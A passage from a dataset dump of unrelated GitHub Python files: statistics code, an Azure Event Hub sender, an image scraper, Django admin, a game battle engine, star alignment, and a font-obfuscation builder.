upper_limit_n[mu_idx, nb_idx]:\n upper_limit_n[mu_idx, nb_idx] = next_n\n if next_n <= lower_limit_n[mu_idx, nb_idx]:\n lower_limit_n[mu_idx, nb_idx] = next_n\n\n prob = poisson_with_bg_cdf(lower_limit_n[mu_idx, nb_idx],\n upper_limit_n[mu_idx, nb_idx],\n mu, nb)\n i += 1\n\n # Add one n_bin_width to the upper limit to rather overcover the\n # interval than undercover\n n_bin_width = n_obs[1] - n_obs[0]\n\n for nb_idx in range(len(n_b)):\n lower_limit_n[:, nb_idx], upper_limit_n[:, nb_idx] = fix_monotonicity(\n lower_limit_n[:, nb_idx], upper_limit_n[:, nb_idx])\n\n return lower_limit_n, upper_limit_n + n_bin_width, n_b\n\n\ndef poissonian_feldman_cousins_interval(n_obs, n_b,\n mus,\n alpha=0.9,\n fix_discrete_n_pathology=False,\n n_jobs=1):\n '''\n Calculates confidence belts with the Feldman-Cousins approach.\n For more information see `Feldman-Cousins`_.\n\n Parameters\n ----------\n n_obs: array-like\n Range of `n_obs` to scan while constructing the limits on\n `n_obs` for each `mu`.\n n_b: array-like\n Number of background events. Parameter for the poissonian\n distribution with background.\n mus: array-like\n Grid of `mu` values to construct the limits on `n_obs` on.\n As `n_b` gets bigger the grid needs to get finer to actually\n populate every important `n_obs` value with an upper limit.\n alpha: float\n The desired confidence level of the constructed confidence belt.\n fix_discrete_n_pathology: bool, optional\n If True, calculate the confidence belts for surrounding n_b to\n correct for a pathology arising from the discreteness of n_obs\n in the poissonian distribution, which causes some upper limits\n to rise with for rising n_b.\n n_jobs: int, optional\n Number of cores to calculate the n_b grid on.\n\n Returns\n -------\n lower_limit: array-like, shape(len(n_obs), len(n_b))\n The lower limits on `mu` for each `n_obs`.\n upper_limit: array-like, shape(len(n_obs), len(n_b))\n The upper limits on `mu` for each `n_obs`.\n\n .. _Feldman-Cousins:\n https://arxiv.org/abs/physics/9711021\n '''\n def fix_pathology(arr):\n for j in range(1, len(arr)):\n if arr[-(j + 1)] < arr[-j]:\n arr[-(j + 1)] = arr[-j]\n return arr\n\n if not isinstance(n_b, Iterable):\n n_b = [n_b]\n\n if fix_discrete_n_pathology:\n if len(n_b) > 1:\n step_size = n_b[1] - n_b[0]\n if step_size > 0.005:\n warnings.warn(\n 'n_b grid is probably too coarse!')\n else:\n step_size = 0.005\n min_nb = np.min(n_b)\n if np.max(n_b) < min_nb + 1:\n max_nb = np.min(n_b) + 1\n else:\n max_nb = np.max(n_b)\n n_b = np.arange(min_nb, max_nb + step_size / 2., step_size)\n\n lower_limit_n = np.zeros((len(mus), len(n_b)))\n upper_limit_n = np.zeros((len(mus), len(n_b)))\n with ProcessPoolExecutor(max_workers=n_jobs) as executor:\n futures = []\n for nb in n_b:\n futures.append(\n executor.submit(\n poissonian_feldman_cousins_acceptance_interval,\n n_obs=n_obs,\n n_b=nb,\n mus=mus,\n alpha=alpha))\n results = wait(futures)\n for i, future_i in enumerate(results.done):\n lln, uln, nb = future_i.result()\n idx = np.where(n_b == nb)[0][0]\n lower_limit_n[:, idx] = lln.flatten()\n upper_limit_n[:, idx] = uln.flatten()\n\n # Translate upper and lower limit in measured n into\n # an interval in signal mean mu\n upper_limit_mu = np.zeros((len(n_obs), len(n_b)), dtype=float) - 1.\n lower_limit_mu = np.zeros((len(n_obs), len(n_b)), dtype=float) - 1.\n\n for n in range(len(n_obs)):\n for b in range(len(n_b)):\n upper_idx = upper_limit_n[:, b] == (n+1)\n lower_idx = lower_limit_n[:, b] == n\n\n if np.sum(lower_idx) == 0:\n warnings.warn(('The given `mus`-array is probably to coarse.' +\n ' No upper limit found for `n_obs` = {}. ' +\n 'Setting the upper limit to inf.').format(n))\n upper_limit_mu[n, b] = np.inf\n else:\n upper_limit_mu[n, b] = mus[lower_idx][-1]\n if np.sum(upper_idx) == 0:\n lower_limit_mu[n, b] = 0\n else:\n lower_limit_mu[n, b] = mus[upper_idx][0]\n\n if fix_discrete_n_pathology:\n lower_limit_mu[n] = fix_pathology(lower_limit_mu[n])\n upper_limit_mu[n] = fix_pathology(upper_limit_mu[n])\n\n return lower_limit_mu, upper_limit_mu\n\n\nif __name__ == '__main__':\n import click\n\n @click.command()\n @click.option('--production', is_flag=True)\n @click.option('--test', is_flag=True)\n def main(production, test):\n if production is False and test is False:\n print('Either enable `production` or `test`, '\n 'otherwise nothing will happen!')\n\n if production:\n n_obs = np.arange(100)\n mus = np.arange(0, 60.002, 0.002)\n n_b = np.arange(0, 20.002, 0.002)\n auls = average_upper_limit(n_b, n_obs, mus,\n alpha=0.9,\n fix_discrete_n_pathology=True,\n n_jobs=24)\n np.savez('average_upper_limits.npz',\n n_b=n_b,\n auls=auls)\n\n if test:\n from tests.test_feldman_cousins \\\n import test_feldman_cousins_intervals\n from tests.test_sensitivity import test_average_upper_limit\n test_feldman_cousins_intervals('tests/fc_intervals_test.pdf')\n test_average_upper_limit('tests/avg_upper_limit_test.pdf')\n print('All tests successful')\n\n return\n\n main()\n","repo_name":"mxmeier/feldman_cousins","sub_path":"feldman_cousins/feldman_cousins.py","file_name":"feldman_cousins.py","file_ext":"py","file_size_in_byte":15402,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"32"} +{"seq_id":"4908693857","text":"import json\n\nfrom azure.eventhub.aio import EventHubProducerClient\nfrom azure.eventhub import EventData\n\nfrom configs.config import settings\n\n\nclass EventHubManager:\n async def send_chunk(self, chunk):\n producer = EventHubProducerClient.from_connection_string(\n conn_str=settings.EVENT_HUB_CONN_STR,\n eventhub_name=settings.EVENT_HUB_NAME\n )\n async with producer:\n event_data_batch = await producer.create_batch()\n\n for element in chunk:\n event_data_batch.add(EventData(json.dumps(element)))\n\n await producer.send_batch(event_data_batch)\n","repo_name":"Ari100telll/MakroLab","sub_path":"services/event_hub.py","file_name":"event_hub.py","file_ext":"py","file_size_in_byte":632,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"41182856874","text":"# coding=utf-8\nimport requests\nimport os\nimport bs4\n\nhost = 'http://www.baidu.com'\n\nurl = host +'/a/201904/22746.html'\n\ni = 0\n\nend = 20\nwhile i < end:\n print('Downloading page %s ...' % url)\n res = requests.get(url)\n res.raise_for_status()\n res.encoding = 'utf-8'\n soup = bs4.BeautifulSoup(res.text, features=\"html.parser\")\n img = soup.select('#content img')\n print('img %s' % img)\n if img:\n imageUrl = 'http:' + img[0].get('src')\n print('imageUrl %s' % imageUrl)\n\n res = requests.get(imageUrl)\n imageFile = open(os.path.join('image', os.path.basename(imageUrl)), 'wb')\n for chunk in res.iter_content(100000):\n imageFile.write(chunk)\n\n imageFile.close()\n else:\n print('Not find img ')\n\n link = soup.select('.pages_y a')\n print('link %s' % link)\n if link:\n url = host + link[0].get('href')\n else:\n print('Not link')\n i = 999\n\n i = i + 1\n\n\nprint('Done')","repo_name":"tony-yyj/py-practice","sub_path":"reptile/gif/index.py","file_name":"index.py","file_ext":"py","file_size_in_byte":974,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"70236598811","text":"#coding:utf-8\nfrom django.contrib import admin\nfrom .models import *\n\n# Register your models here.\n\n\n\n\nclass PhotoAdmin(admin.ModelAdmin):\n fieldsets = (\n (None, {\n 'fields': ('title', 'image', 'gallery', 'describe', 'tags')\n }),\n (u'高级选项',{\n 'classes': ('collapse',),\n 'fields': ('page_view', 'allow', 'order', 'add_date')\n })\n )\n\nadmin.site.register(Photo, PhotoAdmin)\n\n\nclass InlinePhotoAdmin(admin.TabularInline):\n model = Photo\n fieldsets = ((None, {'fields': ['image', 'title', 'order', 'tags']}),)\n\n\nclass GalleryAdmin(admin.ModelAdmin):\n fieldsets = (\n (None, {\n 'fields': ('title', 'describe')\n }),\n (u'高级选项',{\n 'classes': ('collapse',),\n 'fields': ('page_view', 'allow', 'order', 'add_date')\n })\n )\n list_display = ('admin_thumbnail', 'title', 'allow', 'order')\n list_editable = ('allow', 'order')\n inlines = [InlinePhotoAdmin]\n\nadmin.site.register(Gallery, GalleryAdmin)\n\nadmin.site.register(GalleryUpload)","repo_name":"cash2one/zhuangxiu","sub_path":"gallery/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":1082,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"6892028074","text":"#!/usr/bin/env python3\n# -*- coding:utf-8 -*-\nimport uuid\n\nfrom corelib.message import observable\nfrom corelib.frame import Game\nfrom game.define import constant, msg_define\n\nfrom game.fight.team import FightMonsterTeam, FightPlayerTeam\nfrom game.fight.actions import FightActions\n\n@observable\nclass BaseFight(object):\n def __init__(self, iType):\n self.id = str(uuid.uuid1())\n self.type = iType #战斗类型\n self.maxRound = 5\n\n self.redTeam = None\n self.blueTeam = None\n self.battlelog = {} #战报\n self.actionList = [] #行动列表\n\n self.curRound = 0 #当前回合\n self.uid_count = 0\n self.speed_change = 0\n\n self.sub(msg_define.MSG_FIGHT_SPEED_CHANGE, self.event_speed_change)\n\n def event_speed_change(self):\n self.speed_change = 1\n\n def iterFightInsUid(self, head):\n self.uid_count += 1\n return \"%s_%s\"%(head, self.uid_count)\n\n def SetRounds(self, rounds):\n self.maxRound = rounds\n\n def doFight(self):\n \"\"\"开始战斗\"\"\"\n # t1 = time.time()\n #基础信息\n log_base = self.battlelog.setdefault(\"base\", {})\n log_base[\"id\"] = self.id # 战报id\n log_base[\"type\"] = self.type # 战斗类型\n log_base[\"fb\"] = getattr(self, \"barrId\", 0)# 副本id\n log_base[\"maxRds\"] = self.maxRound #最大回合\n log_base[\"team\"] = []\n redData = self.redTeam.to_client() # 队伍数据---红\n log_base[\"team\"].append(redData)\n blueData = self.blueTeam.to_client() # 队伍数据---蓝\n log_base[\"team\"].append(blueData)\n\n #战斗相关\n log_wave = self.battlelog.setdefault(\"wave\", [])\n\n curRedIndex = 1\n curBlueIndex = 1\n for i in range(5): # 3v3 最多打5波\n red = self.redTeam.waves.get(curRedIndex)\n blue = self.blueTeam.waves.get(curBlueIndex)\n if not red:\n curRedIndex += 1\n continue\n if not blue:\n curBlueIndex += 1\n continue\n\n log_one = {}\n #公共数据\n log_common = log_one.setdefault(\"common\", {})\n log_common[\"no\"] = i+1\n log_common[\"t1\"] = red.uid\n log_common[\"t2\"] = blue.uid\n #战斗开始前\n log_one[\"before\"] = self.doBefore(red, blue)\n #回合行动\n log_rounds = self.doRounds(red, blue)\n if log_rounds.get(\"lostCamp\", 0) == constant.FIGHT_TEAM_RED:\n curRedIndex += 1\n if log_rounds.get(\"lostCamp\", 0) == constant.FIGHT_TEAM_BLUE:\n curBlueIndex += 1\n log_rounds.pop(\"lostCamp\", 0)\n log_one[\"rounds\"] = log_rounds.pop(\"rounds\", [])\n #战斗结束\n log_one[\"end\"] = self.doEnd(red, blue)\n\n log_wave.append(log_one)\n\n #战斗结算\n log_end = self.battlelog.setdefault(\"end\", {})\n winerList = log_end.setdefault(\"winerList\", [])\n if curRedIndex > 3: #红方队伍用尽\n winerList.append(self.blueTeam.pid)\n elif curBlueIndex > 3: #蓝方队伍用尽\n winerList.append(self.redTeam.pid)\n\n # t2 = time.time()\n # Game.glog.log2File(\"doFight\", \"%s|%s\" % (t2 - t1, self.iType))\n return self.battlelog\n\n def initActionList(self, red, blue):\n all_first = [] #优先行动列表\n all_normal = [] #普通行动列表\n\n for fighter in red.position.values():\n if fighter.status.first_round == self.curRound:\n all_first.append(fighter)\n else:\n all_normal.append(fighter)\n\n for fighter in blue.position.values():\n if fighter.status.first_round == self.curRound:\n all_first.append(fighter)\n else:\n all_normal.append(fighter)\n\n all_first.sort(key=lambda x:x.attr.getSpeed(), reverse=True)\n all_normal.sort(key=lambda x: x.attr.getSpeed(), reverse=True)\n\n self.actionList = []\n self.actionList.extend(all_first)\n self.actionList.extend(all_normal)\n\n self.speed_change = 0\n return self.actionList\n\n def doBefore(self, red, blue):\n #清除所有buff\n for fighter in red.position.values():\n fighter.buff.cleanAll()\n for fighter in blue.position.values():\n fighter.buff.cleanAll()\n\n log_before = FightActions(constant.FIGHT_DO_TYPE_CONCURRENCE)\n self.safe_pub(msg_define.MSG_FIGHT_WAVE_INIT, log_before)\n\n return log_before.to_client()\n\n def doRounds(self, red, blue):\n log_rounds = {}\n log_rounds[\"rounds\"] = []\n\n for index in range(self.maxRound):\n iRound = index + 1\n log_one_rounds = {}\n log_one_rounds[\"no\"] = iRound\n\n self.curRound = iRound\n #回合前\n beforelog = self.beforeOneRound(red, blue)\n log_one_rounds[\"bf\"] = beforelog\n #回合中\n inglog = self.doOneRound(red, blue)\n log_one_rounds[\"ing\"] = inglog\n #回合后\n afterlog = self.afterOneRound()\n log_one_rounds[\"end\"] = afterlog\n\n log_rounds[\"rounds\"].append(log_one_rounds)\n\n # 每回合末判定某方是否全部死亡\n if red.isAllDead():\n log_rounds[\"lostCamp\"] = constant.FIGHT_TEAM_RED\n break\n if blue.isAllDead():\n log_rounds[\"lostCamp\"] = constant.FIGHT_TEAM_BLUE\n break\n\n #回合打完还未分出胜负,进攻方失败\n if not log_rounds.get(\"lostCamp\"):\n log_rounds[\"lostCamp\"] = constant.FIGHT_TEAM_RED\n return log_rounds\n\n def beforeOneRound(self, red, blue):\n beforelog = []\n # =================================== #神器行动阶段================================================\n beforelog_act1 = FightActions(constant.FIGHT_DO_TYPE_CONCURRENCE)\n\n\n log_act = beforelog_act1.to_client()\n if log_act:\n beforelog.append(log_act)\n\n # =================================== #buff生效阶段================================================\n beforelog_buff1 = FightActions(constant.FIGHT_DO_TYPE_CONCURRENCE)\n\n\n #回合启动类buff触发(如持续回血\n self.safe_pub(msg_define.MSG_FIGHT_BEFORE_ROUND_1, beforelog_buff1)\n\n # 回合启动类被动技能触发\n self.safe_pub(msg_define.MSG_FIGHT_BEFORE_ROUND_2, beforelog_buff1)\n\n log_act = beforelog_buff1.to_client()\n if log_act:\n beforelog.append(log_act)\n\n # =================================== #buff清算阶段================================================\n beforelog_buff2 = FightActions(constant.FIGHT_DO_TYPE_CONCURRENCE)\n\n\n #清算buff\n for fighter in self.actionList:\n fighter.buff.cal_life_round(beforelog_buff2)\n\n log_act = beforelog_buff2.to_client()\n if log_act:\n beforelog.append(log_act)\n\n #=================================== #回合前-重算================================================\n #清算技能CD\n for fighter in self.actionList:\n fighter.skill.cd_skill()\n\n #根据速度排出手顺序\n self.initActionList(red, blue)\n\n return beforelog\n\n def doOneRound(self, red, blue):\n log_oneRound = []\n\n for fighter in self.actionList:\n #=================================== #行动启动阶段================================================\n #行动启动阶段--自身被动触发\n inglog_start1 = FightActions(constant.FIGHT_DO_TYPE_CONCURRENCE)\n\n self.safe_pub(msg_define.MSG_FIGHT_DO_ROUND_BF_1, inglog_start1)\n\n log_act = inglog_start1.to_client()\n if log_act:\n log_oneRound.append(log_act)\n\n # =================================== #行动执行阶段================================================\n # 是否死亡\n if not fighter.status.is_dead:\n inglog_ing1 = FightActions(constant.FIGHT_DO_TYPE_ORDER)\n\n #选择技能\n curSkill = fighter.skill.getActionSkill()\n #是否受到硬控(无法行动、晕眩、冰冻)\n if fighter.status.hard_control():\n #todo:添加硬控表现\n\n fighter.skill.add_cd(curSkill)\n else:\n #是否有不能释放主动技能的debuff(沉默、混乱、离间)\n if fighter.status.soft_control():\n # todo:添加软控表现\n\n fighter.skill.add_cd(curSkill)\n\n curSkill = fighter.skill.normal\n\n #buff影响后续流程\n #是否影响目标选择----混乱、离间\n\n #多段伤害\n #选择目标\n curSkill.execSkill(constant.FIGHT_ACT_POINT_1, red, blue, inglog_ing1)\n\n\n\n #攻击后\n curSkill.execSkill(constant.FIGHT_ACT_POINT_2, red, blue, inglog_ing1)\n\n log_act = inglog_ing1.to_client()\n if log_act:\n log_oneRound.append(log_act)\n\n\n # =================================== #行动结束阶段================================================\n inglog_end1 = FightActions(constant.FIGHT_DO_TYPE_CONCURRENCE)\n\n self.safe_pub(msg_define.MSG_FIGHT_DO_ROUND_END_1, inglog_end1)\n\n log_act = inglog_end1.to_client()\n if log_act:\n log_oneRound.append(log_act)\n\n if self.speed_change:\n self.initActionList(red, blue)\n\n return log_oneRound\n\n def afterOneRound(self):\n afterlog = []\n\n return afterlog\n\n def doEnd(self, red, blue):\n log_end = {}\n\n return log_end\n\n\nclass PVEFight(BaseFight):\n \"\"\"pve战斗\"\"\"\n def __init__(self, iType):\n BaseFight.__init__(self, iType)\n self.barrId = 0 # 副本id\n\n def init_data(self, playerData, barrId):\n self.redTeam = FightPlayerTeam(self, constant.FIGHT_TEAM_RED, playerData)\n monsterData = self.get_data_by_barrId(barrId)\n self.blueTeam = FightMonsterTeam(self, constant.FIGHT_TEAM_BLUE, monsterData)\n self.barrId = barrId\n # 总回合数\n if self.barrId:\n barrRes = Game.res_mgr.res_barrier.get(self.barrId)\n if barrRes:\n self.maxRound = barrRes.maxRound\n return True\n\n def get_data_by_barrId(self, barrId):\n monsterData = {}\n barrRes = Game.res_mgr.res_barrier.get(barrId)\n if not barrRes:\n return monsterData\n\n #第1波\n posRes1 = Game.res_mgr.res_barrierwaves.get(barrRes.monster1)\n if posRes1:\n wave1 = monsterData.setdefault(1, {})\n position1 = {}\n for pos in constant.ALL_BATTLE_POS:\n monster_id = getattr(posRes1, \"pos%s\"%pos, 0)\n position1[pos] = monster_id\n wave1[\"position\"] = position1\n wave1[\"relation\"] = posRes1.getRelation()\n\n # 第2波\n posRes2 = Game.res_mgr.res_barrierwaves.get(barrRes.monster2)\n if posRes2:\n wave2 = monsterData.setdefault(2, {})\n position2 = {}\n for pos in constant.ALL_BATTLE_POS:\n monster_id = getattr(posRes2, \"pos%s\"%pos, 0)\n position2[pos] = monster_id\n wave2[\"position\"] = position2\n wave2[\"relation\"] = posRes2.getRelation()\n\n # 第3波\n posRes3 = Game.res_mgr.res_barrierwaves.get(barrRes.monster3)\n if posRes3:\n wave3 = monsterData.setdefault(3, {})\n position3 = {}\n for pos in constant.ALL_BATTLE_POS:\n monster_id = getattr(posRes3, \"pos%s\"%pos, 0)\n position3[pos] = monster_id\n wave3[\"position\"] = position3\n wave3[\"relation\"] = posRes3.getRelation()\n\n return monsterData\n\n\n\nMap_fight_type = {\n constant.FIGHT_TYPE_100: PVEFight, # 挂机Boss = 100,\n}","repo_name":"surery176/pokemon2","sub_path":"code/game/fight/scene.py","file_name":"scene.py","file_ext":"py","file_size_in_byte":12298,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"20432791546","text":"''' Home to star registration algorithms; currently\n two but only align_ransac is robust enough for the moment\n\n This is not part of the current Jocular release\n'''\n\nimport warnings\nimport numpy as np\nimport math\nfrom skimage.measure import ransac\nfrom scipy.spatial.distance import cdist\nfrom skimage.transform import EuclideanTransform, warp, estimate_transform\n\n\nclass AlignerException(Exception):\n pass\n\n\ndef align_ransac(im, keystars, centroids, min_stars=5, min_inliers=4, warp_model=None):\n ''' given a new image with centroids extracted, attempt to align\n against centroids represented by keystars\n return warped image\n raises AlignerException\n '''\n \n # we used to do this but it makes things worse...\n # if warp_model is not None:\n # keystars = matrix_transform(keystars, warp_model.params)\n\n nstars = min(len(keystars), len(centroids))\n\n # find closest matching star to each transformed keystar\n matched_stars = np.zeros((nstars, 2))\n for i, (x1, y1) in enumerate(keystars):\n if i < nstars:\n matched_stars[i, :] = \\\n centroids[np.argmin([(x1 - x2) ** 2 + (y1 - y2) ** 2 for x2, y2 in centroids])]\n\n # do we have enough matched stars?\n if len(matched_stars) < min_stars:\n raise AlignerException('not enough matched stars')\n \n # apply RANSAC to find which matching pairs best fitting Euclidean model\n # can throw a warning in cases where no inliers (bug surely) which we ignore\n with warnings.catch_warnings():\n warnings.simplefilter('ignore')\n warp_model, inliers = ransac(\n (np.array(keystars[:nstars]), matched_stars),\n EuclideanTransform, 4, .5, max_trials=100)\n\n # if inliers is None:\n # print('inliers is None')\n # elif sum(inliers) < min_inliers:\n # print('sum inliers {:} less than min inliers {:}'.format(sum(inliers), min_inliers))\n\n # managed to align, so return warped image\n if (inliers is not None) and (sum(inliers) >= min_inliers):\n return warp(im, warp_model, order=3, preserve_range=True), warp_model\n\n raise AlignerException('not enough inliers after RANSAC')\n\n\n\ndef align_martin(im, keystars, centroids, min_stars=10):\n\n # assumes keystars and centroids are ordered by magnitude\n\n\n matches, _ = fastmatch(\n ref=keystars,\n im=centroids,\n match_threshold=5, # pixels\n target_matches=25\n )\n\n if matches is None:\n raise AlignerException('no alignments found')\n \n src = keystars[[j for (i, j) in matches], :]\n dst = centroids[[i for (i, j) in matches], :]\n\n if len(src) < min_stars:\n raise AlignerException('not enough stars to align ({:} but need {:})'.format(len(src), min_stars))\n\n warp_model = estimate_transform('euclidean', src, dst)\n return warp(im, warp_model, order=3, preserve_range=True), warp_model\n \n\ndef fastmatch(\n ref=None, # N x 2 array of centroids from keystars image\n im=None, # N x 2 array of centroids from comparison image\n depth=5, # points ordered by decreasing mag, so how far down do we go\n match_threshold=1 , # proximity in same units as centroids to claim a match\n target_matches=20, # desired number of matches required before returning solution\n max_rot=90, # degrees\n max_scale=100, # percent\n max_translation=50 # in pixels\n):\n ''' matches 2D point clouds allowing for rotatiom, translation and scaling\n limits on each of these can be set; if None, don't apply any limits\n '''\n max_matches = 0\n best_matches = None\n kk = match_threshold ** 2\n n_im, n_ref = len(im), len(ref)\n cnt = 0\n if max_scale is not None:\n min_scale = (100 - max_scale) / 100\n max_scale = (100 + max_scale) / 100\n\n for i1 in range(0, n_im):\n # normalise image based on star index i1\n im1 = im - im[i1, :]\n for i2 in [i for i in range(i1 + 1, min(n_im, i1 + depth)) if i != i1]:\n # rotate and scale so i2 is at (1, 0)\n cos, sin = im1[i2, 0], -im1[i2, 1]\n rot1 = np.degrees(math.atan2(sin, cos))\n d = cos ** 2 + sin ** 2\n im2 = np.dot(im1, np.array([[cos, -sin], [sin, cos]]).T) / d\n # match threshold takes into account scaling by d\n mt = kk / d # we match squared dist\n min_x, min_y = np.min(im2, axis=0) - mt\n max_x, max_y = np.max(im2, axis=0) + mt\n for r1 in range(0, n_ref):\n ref1 = ref - ref[r1, :]\n for r2 in [\n r for r in range(r1 + 1, min(n_ref, r1 + depth)) if r != r1\n ]:\n cos, sin = ref1[r2, 0], -ref1[r2, 1]\n rot2 = np.degrees(math.atan2(sin, cos))\n # is rotation within limits?\n if max_rot is None or np.abs(rot1 - rot2) < max_rot:\n d2 = cos ** 2 + sin ** 2\n scaling = (d/d2)**.5\n # is scaling within limits?\n if max_scale is None or scaling > min_scale and scaling < max_scale:\n ref2 = np.dot(ref1, np.array([[cos, -sin], [sin, cos]]).T) / d2\n mind_x, mind_y = np.min(ref2, axis=0)\n maxd_x, maxd_y = np.max(ref2, axis=0)\n # don't check if anything outside range\n if (\n max_x < maxd_x\n and max_y < maxd_y\n and min_x > mind_x\n and min_y > mind_y\n ):\n cnt += 1\n dists = cdist(im2, ref2, metric='sqeuclidean')\n matches = [\n (i, j)\n for i, j in enumerate(np.argmin(dists, axis=1))\n if dists[i, j] < mt\n ]\n n_matches = len(matches) \n if n_matches >= target_matches:\n return matches, cnt\n if n_matches > max_matches:\n max_matches = n_matches\n best_matches = matches\n # return matches\n return best_matches, cnt\n\n\n","repo_name":"MartinCooke/jocular","sub_path":"jocular/processing/aligners.py","file_name":"aligners.py","file_ext":"py","file_size_in_byte":6604,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"32"} +{"seq_id":"25336295532","text":"# coding=utf-8\n\"\"\"\nfonttools==4.18.2\npip3 install fonttools[ufo,lxml,woff,unicode,interpolatable,plot,symfont,type1,pathops]\n\nfontforge\nhttps://www.jianshu.com/p/5438076cc18e\nhttps://www.cnblogs.com/eastonliu/p/9925652.html\n\nRpi ELK: https://www.raspberrypi.org/forums/viewtopic.php?f=29&p=1730296\nfonttools curveTo NotImplementedError\n\"\"\"\n\nimport os\nimport io\nimport re\nimport random\nimport string\nfrom collections import OrderedDict\n\nimport emoji\nfrom fontTools import subset\nfrom fontTools.fontBuilder import FontBuilder\nfrom fontTools.pens.ttGlyphPen import TTGlyphPen\nfrom fontTools.ttLib import TTFont\n\n\nclass FontNameTable:\n\n def __init__(self, family_name='CustomAwesomeFont', style_name='Regular', **kwargs):\n \"\"\"\n see setupNameTable\n @param family_name:\n @param style_name:\n @param kwargs:\n \"\"\"\n self.family_name = family_name\n self.style_name = style_name\n self.kwargs = kwargs\n\n def get_name_strings(self):\n return {\n 'familyName': self.family_name,\n 'styleName': self.style_name,\n 'psName': self.family_name + '-' + self.style_name,\n **self.kwargs,\n }\n\n\ndef _pre_deal_obfuscator_input_str(s: str) -> str:\n \"\"\"\n Pre Deal Input Strings, to deduplicate string & remove all whitespace & remove emoji.\n @param s:\n @return:\n \"\"\"\n s = \"\".join(OrderedDict.fromkeys(s))\n s = emoji.demojize(s)\n pattern = re.compile(r'\\s+')\n return re.sub(pattern, '', s)\n\n\ndef _check_str_include_emoji(s: str) -> bool:\n for character in s:\n if character in emoji.UNICODE_EMOJI:\n return True\n return False\n\n\ndef _check_cmap_include_all_text(cmap: dict, s: str) -> bool:\n for character in s:\n if ord(character) not in cmap:\n raise Exception(f'{character} Not in Font Lib!')\n return True\n\n\ndef makeFont(showtext, srcfont, tgtfont):\n \"\"\"制作字体\"\"\"\n source_font = TTFont(srcfont)\n source_cmap = source_font.getBestCmap()\n\n plain_text = _pre_deal_obfuscator_input_str(showtext)\n obfuscator_code_list = random.sample(range(0xE000, 0xF8FF), len(plain_text))\n _check_cmap_include_all_text(source_cmap, plain_text)\n\n glyphs, metrics, cmap = {}, {}, {}\n\n glyph_set = source_font.getGlyphSet()\n pen = TTGlyphPen(glyph_set)\n glyph_order = source_font.getGlyphOrder()\n\n final_shadow_text: list = []\n _map = {}\n\n if 'null' in glyph_order:\n glyph_set['null'].draw(pen)\n glyphs['null'] = pen.glyph()\n metrics['null'] = source_font['hmtx']['null']\n\n final_shadow_text += ['null']\n\n if '.notdef' in glyph_order:\n glyph_set['.notdef'].draw(pen)\n glyphs['.notdef'] = pen.glyph()\n metrics['.notdef'] = source_font['hmtx']['.notdef']\n\n final_shadow_text += ['.notdef']\n\n for index, character in enumerate(plain_text):\n obfuscator_code = obfuscator_code_list[index]\n _hex = hex(obfuscator_code)\n code_cmap_name = _hex.replace('0x', 'uni')\n html_code = _hex.replace('0x', '&#x') + ';'\n _map[character] = (html_code, code_cmap_name, _hex)\n\n _ord = ord(character)\n final_shadow_text.append(code_cmap_name)\n glyph_set[source_cmap[_ord]].draw(pen)\n glyphs[code_cmap_name] = pen.glyph()\n metrics[code_cmap_name] = source_font['hmtx'][source_cmap[_ord]]\n cmap[obfuscator_code] = code_cmap_name\n\n horizontal_header = {'ascent': source_font['hhea'].ascent,\n 'descent': source_font['hhea'].descent}\n\n fb = FontBuilder(source_font['head'].unitsPerEm, isTTF=True)\n fb.setupGlyphOrder(final_shadow_text)\n fb.setupCharacterMap(cmap)\n fb.setupGlyf(glyphs)\n fb.setupHorizontalMetrics(metrics)\n fb.setupHorizontalHeader(**horizontal_header)\n fb.setupNameTable(FontNameTable().get_name_strings())\n fb.setupOS2()\n fb.setupPost()\n\n buf = io.BytesIO()\n buf.name = os.path.basename(tgtfont)\n flavor = buf.name.rsplit(\".\", 1)[-1]\n fb.save(buf)\n\n options = subset.Options()\n font = subset.load_font(buf, options)\n options.flavor = flavor\n subset.save_font(font, tgtfont, options)\n\n return _map\n\n\ndef test():\n \"\"\"测试\"\"\"\n srcfont = \"./font/hwxk.ttf\"\n srcfont = \"./font/littlemingzhaoBold.otf\"\n tgtfont = \"./font/build/mingz.woff2\"\n showtext = \"\"\"\n在做移动开发的时候,UI设计师会提供一些定制字体,来提高产品的视觉效果。对于前端开发来说,就需要考虑字体文件的兼容性和文件的大小,在尽量保证UI效果的情况下,兼容更多的浏览器,减少资源体积,使UI效果、兼容性、性能三者达到平衡。由于中文字体字符集的限制,最终字体包文件都会很大,这里不做讨论。下面主要介绍英文、数字符号场景下几种常见的字体格式。\n\n.ttf\nTrueType,是Type 1(Adobe公司开发)的竞品,由苹果公司和微软一起开发,是mac系统和window系统用的最广泛的字体,一般从网上下载的字体文件都是ttf格式,点击就能安装到系统上。\n\n.otf\nOpenType,TrueType是OpenType的前身,90年代微软寻求苹果的GX排版技术授权失败,被逼自创武功取名为TrueType Open,后来随着计算机的发展,排版技术上需要更加具有表现力的字体,Adobe和微软合作开发了一款新的字体糅合了Type 1和TrueType Open的底层技术,取名为OpenType。后来OpenType被ISO组织接受为标准,称之为Open Font Format(off)。\n\n.eot\nEmbedded Open Type,主要用于早期版本的IE,微软根据OpenType做了压缩,重新取名为Embedded OpenType,是其专有格式,带有版权保护和压缩。ttf和otf字体在web端来说兼容相对较好,除IE和早期的ios safari和Android不怎么支持外,其他浏览器都兼容都不错。但是由于ttf和otf体积过大,在桌面浏览器的时代还可以满足需求,到了移动浏览器的时代,动辄5MB、10MB的字体文件就显得过于庞大了。因此微软在OpenType的基础上进行了优化压缩,相比OpenType大大减少了体积,但是除了IE以外的浏览器都不太支持,因此也没有成为行业标准。\n\n\n.woff\nWeb Open Font Format,可以看作是ttf的再封装,加入了压缩和字体来源信息,通常比ttf小40%。在2010年4月8日,Mozilla基金会、Opera软件公司和微软提交WOFF之后,万维网联盟发表评论指,希望WOFF不久能成为所有浏览器都支持的、“单���、可互操作的(字体)格式”。2010年7月27日,万维网联盟将WOFF作为工作草案发布。也是当前web字体的主流格式。\n————————————————\n版权声明:本文为CSDN博主“black-heart”的原创文章,遵循CC 4.0 